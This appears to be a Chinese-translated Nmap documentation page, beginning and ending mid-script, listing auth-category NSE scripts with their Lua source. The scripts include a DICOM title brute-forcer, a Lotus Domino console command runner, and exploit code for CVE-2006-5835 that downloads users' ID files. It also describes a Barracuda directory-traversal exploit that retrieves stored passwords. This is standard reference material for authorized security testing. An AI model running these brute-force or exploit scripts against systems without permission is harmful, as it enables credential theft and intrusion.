opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org -- end end table.insert(result, line) end return stdnse.format_output(true, result) end
脚本creds-summary
脚本类型:postrule
类别: auth、default、safe
下载:https ://svn.nmap.org/nmap/scripts/creds-summary.nse
脚本摘要
在扫描结束时列出所有发现的凭据(例如,来自暴力破解和默认密码检查脚本)。
脚本参数
- creds.[service], creds.global
-
请参阅creds库的文档。
示例用法
nmap -sV -sC <目标>
脚本输出
| creds-summary: | 10.10.10.10 | 22/ssh | lisbon:jane - Account is valid | 10.10.10.20 | 21/ftp | jane:redjohn - Account is locked | 22/ssh | cho:secret11 - Account is valid | 23/telnet | rigsby:pelt - Account is valid | pelt:rigsby - Password needs to be changed at next logon | 80/http | lisbon:jane - Account is valid | jane:redjohn - Account is locked |_ cho:secret11 - Account is valid
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
源码
local creds = require "creds" description = [[ Lists all discovered credentials (e.g. from brute force and default password checking scripts) at end of scan. ]] --- --@output -- | creds-summary: -- | 10.10.10.10 -- | 22/ssh -- | lisbon:jane - Account is valid -- | 10.10.10.20 -- | 21/ftp -- | jane:redjohn - Account is locked -- | 22/ssh -- | cho:secret11 - Account is valid -- | 23/telnet -- | rigsby:pelt - Account is valid -- | pelt:rigsby - Password needs to be changed at next logon -- | 80/http -- | lisbon:jane - Account is valid -- | jane:redjohn - Account is locked -- |_ cho:secret11 - Account is valid author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"auth", "default", "safe"} postrule = function() local all = creds.Credentials:new(creds.ALL_DATA) local tab = all:getTable() if ( tab and next(tab) ) then return true end end action = function() local all = creds.Credentials:new(creds.ALL_DATA) return all:getTable() end
脚本dicom-brute
似乎被移除
脚本类型:portrule
类别: auth , brute
下载:https ://svn.nmap.org/nmap/scripts/dicom-brute.nse
脚本摘要
尝试暴力破解 DICOM 服务器(DICOM 服务提供者)的应用程序实体标题。
应用程序实体标题 (AET) 用于将响应限制为仅对知道标题的客户端。因此,被调用的 AET 被用作密码的一种形式。
脚本参数
- brute.credfile , brute.delay , brute.emptypass , brute.firstonly , brute.guesses , brute.mode , brute.passonly , brute.retries , brute.start , brute.threads , brute.unique , brute.useraspass
-
请参阅brute库的文档。
- creds.[服务] , creds.global
-
请参阅creds库的文档。
- passdb , unpwdb.passlimit , unpwdb.timelimit , unpwdb.userlimit , userdb
-
请参阅unpwdb库的文档。
- dicom.calling_aet , dicom.calling_aet
-
请参阅dicom库的文档。
示例用法
-
nmap -p4242 --script dicom-brute <目标>
-
nmap -sV --script dicom-brute <目标>
-
nmap --script dicom-brute --script-args passdb=aets.txt <目标>
脚本输出
端口状态服务原因 4242/tcp open vrml-multi-use syn-ack | dicom-brute: | 帐户: | 调用的应用程序实体标题:ORTHNC - 有效凭据 |_ 统计信息:在 1 秒内执行 5 次猜测,平均 tps:5.0
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
description = [[ Attempts to brute force the Application Entity Title of a DICOM server (DICOM Service Provider). Application Entity Titles (AET) are used to restrict responses only to clients knowing the title. Hence, the called AET is used as a form of password. ]] --- -- @usage nmap -p4242 --script dicom-brute <target> -- @usage nmap -sV --script dicom-brute <target> -- @usage nmap --script dicom-brute --script-args passdb=aets.txt <target> -- -- @output -- PORT STATE SERVICE REASON -- 4242/tcp open vrml-multi-use syn-ack -- | dicom-brute: -- | Accounts: -- | Called Application Entity Title:ORTHANC - Valid credentials -- |_ Statistics: Performed 5 guesses in 1 seconds, average tps: 5.0 --- author = "Paulino Calderon <calderon()calderonpale.com>" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"auth", "brute"} local shortport = require "shortport" local dicom = require "dicom" local stdnse = require "stdnse" local nmap = require "nmap" local brute = require "brute" local creds = require "creds" portrule = shortport.port_or_service({104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open") Driver = { new = function(self, host, port) local o = {} setmetatable(o, self) self.__index = self o.host = host o.port = port o.passonly = true return o end, connect = function(self) return true end, disconnect = function(self) end, login = function(self, username, password) stdnse.debug2("Trying with called AE title:%s", password) local dcm_conn, err = dicom.associate(self.host, self.port, nil, password) if dcm_conn then return true, creds.Account:new("Called Application Entity Title", password, creds.State.VALID) else return false, brute.Error:new("Incorrect AET") end end, check = function(self) local dcm_conn, err = dicom.associate(self.host, self.port) if dcm_conn then return false, "DICOM SCU allows any AET" end return true end } action = function(host, port) local engine = brute.Engine:new(Driver, host, port) engine:setMaxThreads(5) engine.options.script_name = SCRIPT_NAME engine.options:setOption("passonly", true) local status, result = engine:start() return result end
脚本dicom-ping
脚本类型:portrule
类别: discovery、default、safe、auth
下载:https ://svn.nmap.org/nmap/scripts/dicom-ping.nse
脚本摘要
尝试通过部分 C-ECHO 请求发现 DICOM 服务器(DICOM 服务提供者)。它还检测服务器是否允许任何调用的应用程序实体标题。
当关联请求因配置而被拒绝时,脚本会以消息“已启用调用 AET 检查”进行响应。这个值可以被暴力破解。
C-ECHO 请求通常称为 DICOM ping,因为它们用于测试连接性。通常,“DICOM ping”的格式如下:
- 客户端 -> A-ASSOCIATE 请求 -> 服务器
- 服务器 -> A-ASSOCIATE 接受/拒绝 -> 客户端
- 客户端 -> C-ECHO 请求 -> 服务器
- 服务器 -> C-ECHO 响应 -> 客户端
- 客户端 -> A-RELEASE 请求 -> 服务器
- 服务器 -> A-RELEASE 响应 -> 客户端
对于这个脚本,我们只发送 A-ASSOCIATE 请求并在响应中查找成功代码,因为它似乎是检测 DICOM 服务器的可靠方法。
脚本参数
- dicom.calling_aet , dicom.calling_aet
-
请参阅dicom库的文档。
示例用法
-
nmap -p4242 --script dicom-ping <目标>
-
nmap -sV --script dicom-ping <目标>
脚本输出
PORT STATE SERVICE REASON 4242/tcp open dicom syn-ack | dicom-ping: | dicom: DICOM Service Provider discovered! |_ config: Called AET check enabled
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
源码
description = [[ Attempts to discover DICOM servers (DICOM Service Provider) through a partial C-ECHO request. It also detects if the server allows any called Application Entity Title or not. The script responds with the message "Called AET check enabled" when the association request is rejected due configuration. This value can be bruteforced. C-ECHO requests are commonly known as DICOM ping as they are used to test connectivity. Normally, a 'DICOM ping' is formed as follows: * Client -> A-ASSOCIATE request -> Server * Server -> A-ASSOCIATE ACCEPT/REJECT -> Client * Client -> C-ECHO request -> Server * Server -> C-ECHO response -> Client * Client -> A-RELEASE request -> Server * Server -> A-RELEASE response -> Client For this script we only send the A-ASSOCIATE request and look for the success code in the response as it seems to be a reliable way of detecting DICOM servers. ]] --- -- @usage nmap -p4242 --script dicom-ping <target> -- @usage nmap -sV --script dicom-ping <target> -- -- @output -- PORT STATE SERVICE REASON -- 4242/tcp open dicom syn-ack -- | dicom-ping: -- | dicom: DICOM Service Provider discovered! -- |_ config: Called AET check enabled -- -- @xmloutput -- <script id="dicom-ping" output="
 dicom: DICOM Service Provider discovered!
 -- config: Called AET check enabled"><elem key="dicom">DICOM Service Provider discovered!</elem> -- <elem key="config">Called AET check enabled</elem> -- </script> --- author = "Paulino Calderon <calderon()calderonpale.com>" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"discovery", "default", "safe", "auth"} local shortport = require "shortport" local dicom = require "dicom" local stdnse = require "stdnse" local nmap = require "nmap" portrule = shortport.port_or_service({104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open") action = function(host, port) local output = stdnse.output_table() local dcm_conn_status, err = dicom.associate(host, port) if dcm_conn_status == false then stdnse.debug1("Association failed:%s", err) if err == "ASSOCIATE REJECT received" then port.version.name = "dicom" nmap.set_port_version(host, port) output.dicom = "DICOM Service Provider discovered!" output.config = "Called AET check enabled" end return output end port.version.name = "dicom" nmap.set_port_version(host, port) output.dicom = "DICOM Service Provider discovered!" output.config = "Any AET is accepted (Insecure)" return output end
脚本domcon-cmd
脚本类型:portrule
类别: intrusive , auth
下载:https ://svn.nmap.org/nmap/scripts/domcon-cmd.nse
脚本摘要
使用给定的身份验证凭据在 Lotus Domino 控制台上运行控制台命令(另请参见:domcon-brute)
脚本参数
- domcon-cmd.cmd
-
在远程服务器上运行的命令
- domcon-cmd.pass
-
用于向服务器进行身份验证的密码
- domcon-cmd.user
-
用于向服务器进行身份验证的用户
示例用法
nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server",\ domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
脚本输出
PORT STATE SERVICE REASON 2050/tcp open unknown syn-ack | domcon-cmd: | show server | | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58 | | Server name: server1/cqure - cqure testing server | Domain name: cqure | Server directory: C:\Program Files\IBM\Lotus\Domino\data | Partition: C.Program Files.IBM.Lotus.Domino.data | Elapsed time: 00:27:11 | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0 | Peak # of sessions: 0 at | Transactions: 0 Max. concurrent: 20 | ThreadPool Threads: 20 (TCPIP Port) | Availability Index: 100 (state: AVAILABLE) | Mail Tracking: Not Enabled | Mail Journalling: Not Enabled | Number of Mailboxes: 1 | Pending mail: 0 Dead mail: 0 | Waiting Tasks: 0 | DAOS: Not Enabled | Transactional Logging: Not Enabled | Fault Recovery: Not Enabled | Activity Logging: Not Enabled | Server Controller: Enabled | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT | Console Logging: Enabled (1K) | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log |_ DB2 Server: Not Enabled
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local stringaux = require "stringaux" local table = require "table" description = [[ Runs a console command on the Lotus Domino Console using the given authentication credentials (see also: domcon-brute) ]] --- -- @usage -- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \ -- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret" -- -- @output -- PORT STATE SERVICE REASON -- 2050/tcp open unknown syn-ack -- | domcon-cmd: -- | show server -- | -- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58 -- | -- | Server name: server1/cqure - cqure testing server -- | Domain name: cqure -- | Server directory: C:\Program Files\IBM\Lotus\Domino\data -- | Partition: C.Program Files.IBM.Lotus.Domino.data -- | Elapsed time: 00:27:11 -- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0 -- | Peak # of sessions: 0 at -- | Transactions: 0 Max. concurrent: 20 -- | ThreadPool Threads: 20 (TCPIP Port) -- | Availability Index: 100 (state: AVAILABLE) -- | Mail Tracking: Not Enabled -- | Mail Journalling: Not Enabled -- | Number of Mailboxes: 1 -- | Pending mail: 0 Dead mail: 0 -- | Waiting Tasks: 0 -- | DAOS: Not Enabled -- | Transactional Logging: Not Enabled -- | Fault Recovery: Not Enabled -- | Activity Logging: Not Enabled -- | Server Controller: Enabled -- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT -- | Console Logging: Enabled (1K) -- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log -- |_ DB2 Server: Not Enabled -- -- @args domcon-cmd.cmd The command to run on the remote server -- @args domcon-cmd.user The user used to authenticate to the server -- @args domcon-cmd.pass The password used to authenticate to the server -- -- -- Version 0.1 -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "auth"} portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open") --- Reads an API block from the server -- -- @param socket already connected to the server -- @return status true on success, false on failure -- @return result table containing lines with server response -- or error message if status is false local function readAPIBlock( socket ) local lines local result = {} local status, line = socket:receive_lines(1) if ( not(status) ) then return false, "Failed to read line" end lines = stringaux.strsplit( "\n", line ) for _, line in ipairs( lines ) do if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then table.insert(result, line) end end -- Clear trailing empty lines while( true ) do if ( result[#result] == "" ) then table.remove(result, #result) else break end end return true, result end local function fail (err) return stdnse.format_output(false, err) end action = function(host, port) local socket = nmap.new_socket() local result_part, result, cmds = {}, {}, {} local user = stdnse.get_script_args('domcon-cmd.user') local pass = stdnse.get_script_args('domcon-cmd.pass') local cmd = stdnse.get_script_args('domcon-cmd.cmd') if( not(cmd) ) then return fail("No command supplied (see domcon-cmd.cmd)") end if( not(user)) then return fail("No username supplied (see domcon-cmd.user)") end if( not(pass)) then return fail("No password supplied (see domcon-cmd.pass)") end cmds = stringaux.strsplit(";%s*", cmd) socket:set_timeout(10000) local status = socket:connect( host, port ) if ( status ) then socket:reconnect_ssl() end socket:send("#API\n") socket:send( ("#UI %s,%s\n"):format(user,pass) ) socket:receive_lines(1) socket:send("#EXIT\n") for i=1, #cmds do socket:send(cmds[i] .. "\n") status, result_part = readAPIBlock( socket ) if( status ) then result_part.name = cmds[i] table.insert( result, result_part ) else return fail(result_part) end end socket:close() return stdnse.format_output( true, result ) end
脚本domino-enum-users
脚本类型:portrule
类别: intrusive , auth
下载:https ://svn.nmap.org/nmap/scripts/domino-enum-users.nse
脚本摘要
尝试利用 CVE-2006-5835 漏洞发现有效的 IBM Lotus Domino 用户并下载他们的 ID 文件。
脚本参数
- 多米诺枚举users.path
-
存储任何检索到的 ID 文件的位置
- domino-enum-users.username
-
要从中检索 ID 的用户的名称。如果未指定此参数,将使用 unpwdb 库对用户名进行暴力破解。
有关更多信息,请参阅: http ://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
学分 ------- o Ollie Whitehouse 在它首次被发现的时候让我注意到了这一点,并感谢了它所基于的 c 代码。
- passdb , unpwdb.passlimit , unpwdb.timelimit , unpwdb.userlimit , userdb
-
请参阅unpwdb库的文档。
示例用法
nmap --script domino-enum-users -p 1352 <主机>
脚本输出
1352/tcp 打开 lotusnotes | 多米诺枚举用户: | 找到用户“Patrik Karlsson”,但无法下载 ID 文件 | 成功将“FFlintstone”存储在 /tmp/FFlintstone.id |_ 成功将“MJacksson”存储在 /tmp/MJacksson.id 中
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local io = require "io" local nrpc = require "nrpc" local shortport = require "shortport" local stdnse = require "stdnse" local stringaux = require "stringaux" local table = require "table" local unpwdb = require "unpwdb" description = [[ Attempts to discover valid IBM Lotus Domino users and download their ID files by exploiting the CVE-2006-5835 vulnerability. ]] --- -- @usage -- nmap --script domino-enum-users -p 1352 <host> -- -- @output -- PORT STATE SERVICE REASON -- 1352/tcp open lotusnotes -- | domino-enum-users: -- | User "Patrik Karlsson" found, but not ID file could be downloaded -- | Successfully stored "FFlintstone" in /tmp/FFlintstone.id -- |_ Successfully stored "MJacksson" in /tmp/MJacksson.id -- -- -- @args domino-enum-users.path the location to which any retrieved ID files are stored -- @args domino-enum-users.username the name of the user from which to retrieve the ID. -- If this parameter is not specified, the unpwdb -- library will be used to brute force names of users. -- -- For more information see: -- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026 -- -- Credits -- ------- -- o Ollie Whitehouse for bringing this to my attention back in the days when -- it was first discovered and for the c-code on which this is based. -- -- Version 0.1 -- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "auth"} portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open") --- Saves the ID file to disk -- -- @param filename string containing the name and full path to the file -- @param data contains the data -- @return status true on success, false on failure -- @return err string containing error message if status is false local function saveIDFile( filename, data ) local f = io.open( filename, "w") if ( not(f) ) then return false, ("Failed to open file (%s)"):format(filename) end if ( not(f:write( data ) ) ) then return false, ("Failed to write file (%s)"):format(filename) end f:close() return true end action = function(host, port) local helper = nrpc.Helper:new( host, port ) local status, data, usernames, err local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") local result = {} local save_file = false local counter = 0 local domino_username = stdnse.get_script_args(SCRIPT_NAME .. ".username") if ( domino_username ) then usernames = ( function() local b = true return function() if ( b ) then b=false; return domino_username end end end )() else status, usernames = unpwdb.usernames() if ( not(status) ) then return false, "Failed to load usernames" end end for username in usernames do status = helper:connect() if ( not(status) ) then err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) break end status, data = helper:isValidUser( username ) helper:disconnect() if ( status and data and path ) then local filename = path .. "/" .. stringaux.filename_escape(username .. ".id") local status, err = saveIDFile( filename, data ) if ( status ) then table.insert(result, ("Successfully stored \"%s\" in %s"):format(username, filename) ) else stdnse.debug1("%s", err) table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) end elseif( status and data ) then table.insert(result, ("Successfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) ) elseif ( status ) then table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) ) end counter = counter + 1 end if ( #result == 0 ) then table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) end result = stdnse.format_output( true, result ) if ( err ) then result = result .. (" \n %s"):format(err) end return result end
脚本ftp-anon
脚本类型:portrule
类别: default、auth、safe
下载:https ://svn.nmap.org/nmap/scripts/ftp-anon.nse
脚本摘要
检查 FTP 服务器是否允许匿名登录。
如果允许匿名,则获取根目录的目录列表并突出显示可写文件。
也可以看看:
脚本参数
- ftp-anon.maxlist
-
在目录列表中返回的最大文件数。默认情况下为 20,如果启用了详细程度,则为无限制。使用负数禁用限制,或
0
完全禁用列表。
示例用法
nmap -sV -sC <目标>
脚本输出
PORT STATE SERVICE 21/tcp open ftp | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner | d--x--x--x 2 root root 1024 Jan 14 2002 bin | d--x--x--x 2 root root 1024 Aug 10 1999 etc | drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable] | d--x--x--x 2 root root 1024 Jan 14 2002 lib | drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub |_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
动作
action (host, port)
-
连接到 FTP 服务器并检查服务器是否允许匿名登录。
参数
- host port
local ftp = require "ftp" local match = require "match" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Checks if an FTP server allows anonymous logins. If anonymous is allowed, gets a directory listing of the root directory and highlights writeable files. ]] --- -- @see ftp-brute.nse -- -- @args ftp-anon.maxlist The maximum number of files to return in the -- directory listing. By default it is 20, or unlimited if verbosity is -- enabled. Use a negative number to disable the limit, or -- <code>0</code> to disable the listing entirely. -- -- @output -- PORT STATE SERVICE -- 21/tcp open ftp -- | ftp-anon: Anonymous FTP login allowed (FTP code 230) -- | -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner -- | d--x--x--x 2 root root 1024 Jan 14 2002 bin -- | d--x--x--x 2 root root 1024 Aug 10 1999 etc -- | drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable] -- | d--x--x--x 2 root root 1024 Jan 14 2002 lib -- | drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub -- |_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all. author = {"Eddie Bell", "Rob Nicholls", "Ange Gutek", "David Fifield"} license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"default", "auth", "safe"} portrule = shortport.port_or_service({21,990}, {"ftp","ftps"}) -- --------------------- -- Directory listing function. -- We ask for a PASV connexion, catch the port returned by the server, send a -- LIST on the commands socket, connect to the data one and read the directory -- list sent. -- --------------------- local function list(socket, buffer, target, max_lines) local list_socket, err = ftp.pasv(socket, buffer) if not list_socket then return nil, err end -- Send the LIST command on the commands socket. "Fire and forget"; we -- don't need to take care of the answer on this socket. local status, err = socket:send("LIST\r\n") if not status then return status, err end local listing = {} while not max_lines or #listing < max_lines do local status, data = list_socket:receive_buf(match.pattern_limit("\r?\n", 2048), false) if (not status and data == "EOF") or data == "" then break end if not status then return status, data end listing[#listing + 1] = data end return true, listing end --- Connects to the FTP server and checks if the server allows anonymous logins. action = function(host, port) local max_list = stdnse.get_script_args("ftp-anon.maxlist") if not max_list then if nmap.verbosity() == 0 then max_list = 20 else max_list = nil end else max_list = tonumber(max_list) if max_list < 0 then max_list = nil end end local socket, code, message, buffer = ftp.connect(host, port, {request_timeout=8000}) if not socket then stdnse.debug1("Couldn't connect: %s", code or message) return nil end if code and code ~= 220 then stdnse.debug1("banner code %d %q.", code, message) return nil end local status, code, message = ftp.auth(socket, buffer, "anonymous", "IEUser@") if not status then if not code then stdnse.debug1("got socket error %q.", message) elseif code == 421 or code == 530 then -- Don't log known error codes. -- 421: Service not available, closing control connection. -- 530: Not logged in. else stdnse.debug1("got code %d %q.", code, message) return ("got code %d %q."):format(code, message) end return nil end local result = {} result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")" if not max_list or max_list > 0 then local status, listing = list(socket, buffer, host, max_list) ftp.close(socket) if not status then result[#result + 1] = "Can't get directory listing: " .. listing else for _, item in ipairs(listing) do -- Just a quick passive check on user rights. if string.match(item, "^[d-].......w.") then item = item .. " [NSE: writeable]" end result[#result + 1] = item end if max_list and #listing == max_list then result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME) end end end return table.concat(result, "\n") end
脚本http-auth
脚本类型:portrule
类别: default、auth、safe
下载:https ://svn.nmap.org/nmap/scripts/http-auth.nse
脚本摘要
检索需要身份验证的 Web 服务的身份验证方案和领域。
也可以看看:
脚本参数
- http-auth.path
-
定义请求路径
- slaxml.debug
-
请参阅slaxml库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap --script http-auth [--script-args http-auth.path=/login] -p80 <主机>
脚本输出
PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-auth: | HTTP/1.1 401 Unauthorized | Negotiate | NTLM | Digest charset=utf-8 nonce=+Upgraded+v1e4e256b4afb7f89be014e...968ccd60affb7c qop=auth algorithm=MD5-sess realm=example.com |_ Basic realm=example.com
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Retrieves the authentication scheme and realm of a web service that requires authentication. ]] --- -- @usage -- nmap --script http-auth [--script-args http-auth.path=/login] -p80 <host> -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-auth: -- | HTTP/1.1 401 Unauthorized -- | Negotiate -- | NTLM -- | Digest charset=utf-8 nonce=+Upgraded+v1e4e256b4afb7f89be014e...968ccd60affb7c qop=auth algorithm=MD5-sess realm=example.com -- |_ Basic realm=example.com -- -- @xmloutput -- <table> -- <elem key="scheme">Basic</elem> -- <table key="params"> -- <elem key="realm">Router</elem> -- </table> -- </table> -- <elem key="scheme">Digest</elem> -- <table key="params"> -- <elem key="nonce">np9qe4zJBAA=1f3ae82f536e70a806241b3358f571507a3a4d67</elem> -- <elem key="realm">Router</elem> -- <elem key="algorithm">MD5</elem> -- <elem key="qop">auth</elem> -- <elem key="domain">secret</elem> -- </table> -- </table> -- -- @args http-auth.path Define the request path -- -- @see http-auth-finder.nse -- @see http-brute.nse -- HTTP authentication information gathering script -- rev 1.1 (2007-05-25) -- 2008-11-06 Vlatko Kosturjak <kost@linux.hr> -- * bug fixes against base64 encoded strings, more flexible auth/pass check, -- corrected sample output -- 2011-12-18 Duarte Silva <duarte.silva@serializing.me> -- * Added hostname and path arguments -- * Updated documentation ----------------------------------------------------------------------- author = "Thomas Buchanan" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"default", "auth", "safe"} portrule = shortport.http local PATH = stdnse.get_script_args(SCRIPT_NAME .. ".path") action = function(host, port) local www_authenticate local challenges local result = {} local answer = http.get(host, port, PATH or "/", { bypass_cache = true }) --- check for 401 response code if answer.status ~= 401 then return end result.name = answer["status-line"]:match("^(.*)\r?\n$") www_authenticate = answer.header["www-authenticate"] if not www_authenticate then table.insert( result, ("Server returned status %d but no WWW-Authenticate header."):format(answer.status) ) return stdnse.format_output(true, result) end challenges = http.parse_www_authenticate(www_authenticate) if not challenges then table.insert( result, ("Server returned status %d but the WWW-Authenticate header could not be parsed."):format(answer.status) ) table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) ) return stdnse.format_output(true, result) end for _, challenge in ipairs(challenges) do local line = challenge.scheme if ( challenge.params ) then for name, value in pairs(challenge.params) do line = line .. string.format(" %s=%s", name, value) end end table.insert(result, line) end return challenges, stdnse.format_output(true, result) end
脚本http-barracuda-dir-traversal
脚本类型:portrule
类别: intrusive、exploit、auth
下载:https ://svn.nmap.org/nmap/scripts/http-barracuda-dir-traversal.nse
脚本摘要
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119中描述的目录遍历漏洞从梭子鱼网络垃圾邮件和病毒防火墙设备检索配置设置。
此漏洞位于“/cgi-mod/view_help.cgi”或“/cgi-bin/view_help.cgi”的“locale”参数中,允许从 MySQL 数据库转储中检索信息。默认情况下,Web 管理界面在端口 8000 上运行。
梭子鱼网络垃圾邮件和病毒防火墙 <= 4.1.1.021 远程配置检索 ShadowHatesYou 的原始利用 <Shadow@SquatThis.net> 有关更多信息,请参阅: http ://seclists.org/fulldisclosure/2010/Oct/119 http:// www.exploit-db.com/exploits/15130/
脚本参数
- http-最大缓存大小
-
设置最大缓存大小。默认值为 100,000。梭子鱼配置文件的大小主要取决于用户数量。对于包含多达 5,000 个用户的配置文件,使用 5,000,000 字节的最大缓存大小应该足够了。
- slaxml.debug
-
请参阅slaxml库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <端口> <主机>
脚本输出
港口国服务原因 8000/tcp 打开 http syn-ack 梭子鱼垃圾邮件防火墙 http config | http-梭子鱼目录遍历: | 用户:256 | 设备:梭子鱼垃圾邮件防火墙 | 版本:4.1.0.0 | 主机名:梭子鱼 | 域名:example.com | 时区:美国/芝加哥 | 语言:en_US | 密码:123456 | API密码:123456 | MTA SASL LDAP 密码:123456 | 网关:192.168.1.1 | 主 DNS:192.168.1.2 | 辅助 DNS:192.168.1.3 | DNS缓存:否 | 备份服务器:ftp.example.com | 备用端口:21 | 备份类型:ftp | 备份用户名:user | 备份密码:123456 | 启用 NTP:是 | NTP 服务器:update01.barracudanetworks.com | 启用 SSH:是 | 启用 BRTS:否 | BRTS 服务器:fp.bl.barracudanetworks.com | HTTP 端口:8000 | HTTP 禁用:否 | HTTPS 端口:443 | 仅 HTTPS:否 | | 易受目录遍历漏洞影响: |_http://seclists.org/fulldisclosure/2010/Oct/119
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Attempts to retrieve the configuration settings from a Barracuda Networks Spam & Virus Firewall device using the directory traversal vulnerability described at http://seclists.org/fulldisclosure/2010/Oct/119. This vulnerability is in the "locale" parameter of "/cgi-mod/view_help.cgi" or "/cgi-bin/view_help.cgi", allowing the information to be retrieved from a MySQL database dump. The web administration interface runs on port 8000 by default. Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval Original exploit by ShadowHatesYou <Shadow@SquatThis.net> For more information, see: http://seclists.org/fulldisclosure/2010/Oct/119 http://www.exploit-db.com/exploits/15130/ ]] --- -- @usage -- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host> -- -- @args http-max-cache-size -- Set max cache size. The default value is 100,000. -- Barracuda config files vary in size mostly due to the number -- of users. Using a max cache size of 5,000,000 bytes should be -- enough for config files containing up to 5,000 users. -- -- @output -- PORT STATE SERVICE REASON -- 8000/tcp open http syn-ack Barracuda Spam firewall http config -- | http-barracuda-dir-traversal: -- | Users: 256 -- | Device: Barracuda Spam Firewall -- | Version: 4.1.0.0 -- | Hostname: barracuda -- | Domain: example.com -- | Timezone: America/Chicago -- | Language: en_US -- | Password: 123456 -- | API Password: 123456 -- | MTA SASL LDAP Password: 123456 -- | Gateway: 192.168.1.1 -- | Primary DNS: 192.168.1.2 -- | Secondary DNS: 192.168.1.3 -- | DNS Cache: No -- | Backup Server: ftp.example.com -- | Backup Port: 21 -- | Backup Type: ftp -- | Backup Username: user -- | Backup Password: 123456 -- | NTP Enabled: Yes -- | NTP Server: update01.barracudanetworks.com -- | SSH Enabled: Yes -- | BRTS Enabled: No -- | BRTS Server: fp.bl.barracudanetworks.com -- | HTTP Port: 8000 -- | HTTP Disabled: No -- | HTTPS Port: 443 -- | HTTPS Only: No -- | -- | Vulnerable to directory traversal vulnerability: -- |_http://seclists.org/fulldisclosure/2010/Oct/119 -- -- @changelog -- 2011-06-08 - created by Brendan Coles - itsecuritysolutions.org -- 2011-06-10 - added user count -- - looped path detection -- 